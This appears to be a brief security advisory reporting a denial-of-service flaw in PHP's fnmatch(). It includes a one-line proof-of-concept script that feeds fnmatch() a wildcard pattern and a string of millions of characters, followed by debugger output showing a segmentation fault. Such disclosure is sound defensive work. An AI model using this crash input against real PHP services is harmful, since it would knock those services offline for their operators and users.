"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
fnmatch() is vulnerable to a denial of service
Proof of concept example :
<?
fnmatch("*[1]e", str_repeat("A", 9638013));
?>
result:
(gdb) run 2.php
Program received signal SIGSEGV, Segmentation fault.
